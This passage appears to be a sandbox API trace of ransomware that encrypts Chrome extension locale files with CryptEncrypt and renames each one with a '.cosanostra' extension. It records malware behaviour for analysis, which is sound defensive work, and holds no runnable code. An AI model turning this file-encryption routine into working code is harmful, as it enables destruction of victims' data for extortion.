HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json") returned 157 [0085.374] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.399] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff4d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.399] WriteFile (in: hFile=0x188, lpBuffer=0x3017288*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x28dfbc4, lpOverlapped=0x0 | out: lpBuffer=0x3017288*, lpNumberOfBytesWritten=0x28dfbc4*=0xb3, lpOverlapped=0x0) returned 1 [0085.399] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.399] WriteFile (in: hFile=0x188, lpBuffer=0x28dfc04*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfbc4, lpOverlapped=0x0 | out: lpBuffer=0x28dfc04*, lpNumberOfBytesWritten=0x28dfbc4*=0x4, lpOverlapped=0x0) returned 1 [0085.399] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfbc4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfbc4*=0x30, lpOverlapped=0x0) returned 1 [0085.399] CloseHandle (hObject=0x188) returned 1 [0085.400] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json.cosanostra")) returned 1 [0085.401] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfc00 | out: pbBuffer=0x28dfc00) returned 1 [0085.401] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfbf8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfbf8*=0x30) returned 1 [0085.401] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.402] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json") returned 157 [0085.402] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.402] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff4d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.402] WriteFile (in: hFile=0x188, lpBuffer=0x3017288*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x28dfbbc, lpOverlapped=0x0 | out: lpBuffer=0x3017288*, lpNumberOfBytesWritten=0x28dfbbc*=0xb3, lpOverlapped=0x0) returned 1 [0085.403] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.403] WriteFile (in: hFile=0x188, lpBuffer=0x28dfbfc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfbbc, lpOverlapped=0x0 | out: lpBuffer=0x28dfbfc*, lpNumberOfBytesWritten=0x28dfbbc*=0x4, lpOverlapped=0x0) returned 1 [0085.403] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfbbc, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfbbc*=0x30, lpOverlapped=0x0) returned 1 [0085.403] CloseHandle (hObject=0x188) returned 1 [0085.403] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json.cosanostra")) returned 1 [0085.405] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfbf8 | out: pbBuffer=0x28dfbf8) returned 1 [0085.405] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfbf0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfbf0*=0x30) returned 1 [0085.405] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.405] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json") returned 157 [0085.405] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.406] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff61, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.406] WriteFile (in: hFile=0x188, lpBuffer=0x3017288*, nNumberOfBytesToWrite=0x9f, lpNumberOfBytesWritten=0x28dfbb4, lpOverlapped=0x0 | out: lpBuffer=0x3017288*, lpNumberOfBytesWritten=0x28dfbb4*=0x9f, lpOverlapped=0x0) returned 1 [0085.406] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.406] WriteFile (in: hFile=0x188, lpBuffer=0x28dfbf4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfbb4, lpOverlapped=0x0 | out: lpBuffer=0x28dfbf4*, lpNumberOfBytesWritten=0x28dfbb4*=0x4, lpOverlapped=0x0) returned 1 [0085.407] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfbb4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfbb4*=0x30, lpOverlapped=0x0) returned 1 [0085.407] CloseHandle (hObject=0x188) returned 1 [0085.407] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json.cosanostra")) returned 1 [0085.409] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfbf0 | out: pbBuffer=0x28dfbf0) returned 1 [0085.409] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfbe8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfbe8*=0x30) returned 1 [0085.410] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.410] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json") returned 157 [0085.410] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.411] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff4d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.411] WriteFile (in: hFile=0x188, lpBuffer=0x3017288*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x28dfbac, lpOverlapped=0x0 | out: lpBuffer=0x3017288*, lpNumberOfBytesWritten=0x28dfbac*=0xb3, lpOverlapped=0x0) returned 1 [0085.411] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.411] WriteFile (in: hFile=0x188, lpBuffer=0x28dfbec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfbac, lpOverlapped=0x0 | out: lpBuffer=0x28dfbec*, lpNumberOfBytesWritten=0x28dfbac*=0x4, lpOverlapped=0x0) returned 1 [0085.412] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfbac, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfbac*=0x30, lpOverlapped=0x0) returned 1 [0085.412] CloseHandle (hObject=0x188) returned 1 [0085.412] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json.cosanostra")) returned 1 [0085.414] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfbe8 | out: pbBuffer=0x28dfbe8) returned 1 [0085.414] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfbe0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfbe0*=0x30) returned 1 [0085.414] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.425] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json") returned 157 [0085.426] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.426] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff4d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.426] WriteFile (in: hFile=0x188, lpBuffer=0x3017288*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x28dfba4, lpOverlapped=0x0 | out: lpBuffer=0x3017288*, lpNumberOfBytesWritten=0x28dfba4*=0xb3, lpOverlapped=0x0) returned 1 [0085.427] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.427] WriteFile (in: hFile=0x188, lpBuffer=0x28dfbe4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfba4, lpOverlapped=0x0 | out: lpBuffer=0x28dfbe4*, lpNumberOfBytesWritten=0x28dfba4*=0x4, lpOverlapped=0x0) returned 1 [0085.427] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfba4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfba4*=0x30, lpOverlapped=0x0) returned 1 [0085.427] CloseHandle (hObject=0x188) returned 1 [0085.427] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json.cosanostra")) returned 1 [0085.429] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfbe0 | out: pbBuffer=0x28dfbe0) returned 1 [0085.429] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfbd8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfbd8*=0x30) returned 1 [0085.429] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.429] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json") returned 157 [0085.429] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.430] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff4d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.430] WriteFile (in: hFile=0x188, lpBuffer=0x3017288*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x28dfb9c, lpOverlapped=0x0 | out: lpBuffer=0x3017288*, lpNumberOfBytesWritten=0x28dfb9c*=0xb3, lpOverlapped=0x0) returned 1 [0085.430] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.430] WriteFile (in: hFile=0x188, lpBuffer=0x28dfbdc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfb9c, lpOverlapped=0x0 | out: lpBuffer=0x28dfbdc*, lpNumberOfBytesWritten=0x28dfb9c*=0x4, lpOverlapped=0x0) returned 1 [0085.430] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfb9c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfb9c*=0x30, lpOverlapped=0x0) returned 1 [0085.430] CloseHandle (hObject=0x188) returned 1 [0085.430] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json.cosanostra")) returned 1 [0085.432] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfbd8 | out: pbBuffer=0x28dfbd8) returned 1 [0085.432] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfbd0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfbd0*=0x30) returned 1 [0085.432] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.432] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json") returned 157 [0085.432] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.433] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff4d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.433] WriteFile (in: hFile=0x188, lpBuffer=0x3017288*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x28dfb94, lpOverlapped=0x0 | out: lpBuffer=0x3017288*, lpNumberOfBytesWritten=0x28dfb94*=0xb3, lpOverlapped=0x0) returned 1 [0085.433] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.433] WriteFile (in: hFile=0x188, lpBuffer=0x28dfbd4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfb94, lpOverlapped=0x0 | out: lpBuffer=0x28dfbd4*, lpNumberOfBytesWritten=0x28dfb94*=0x4, lpOverlapped=0x0) returned 1 [0085.433] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfb94, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfb94*=0x30, lpOverlapped=0x0) returned 1 [0085.434] CloseHandle (hObject=0x188) returned 1 [0085.434] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json.cosanostra")) returned 1 [0085.435] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfbd0 | out: pbBuffer=0x28dfbd0) returned 1 [0085.435] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfbc8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfbc8*=0x30) returned 1 [0085.435] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0085.435] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json") returned 157 [0085.435] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.436] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff4d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.437] WriteFile (in: hFile=0x188, lpBuffer=0x3017288*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x28dfb8c, lpOverlapped=0x0 | out: lpBuffer=0x3017288*, lpNumberOfBytesWritten=0x28dfb8c*=0xb3, lpOverlapped=0x0) returned 1 [0085.437] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.437] WriteFile (in: hFile=0x188, lpBuffer=0x28dfbcc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfb8c, lpOverlapped=0x0 | out: lpBuffer=0x28dfbcc*, lpNumberOfBytesWritten=0x28dfb8c*=0x4, lpOverlapped=0x0) returned 1 [0085.437] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfb8c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28dfb8c*=0x30, lpOverlapped=0x0) returned 1 [0085.437] CloseHandle (hObject=0x188) returned 1 [0085.437] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json.cosanostra")) returned 1 [0085.439] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfbc8 | out: pbBuffer=0x28dfbc8) returned 1 [0085.439] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28dfbc0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28dfbc0*=0x30) returned 1 [0085.439] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS 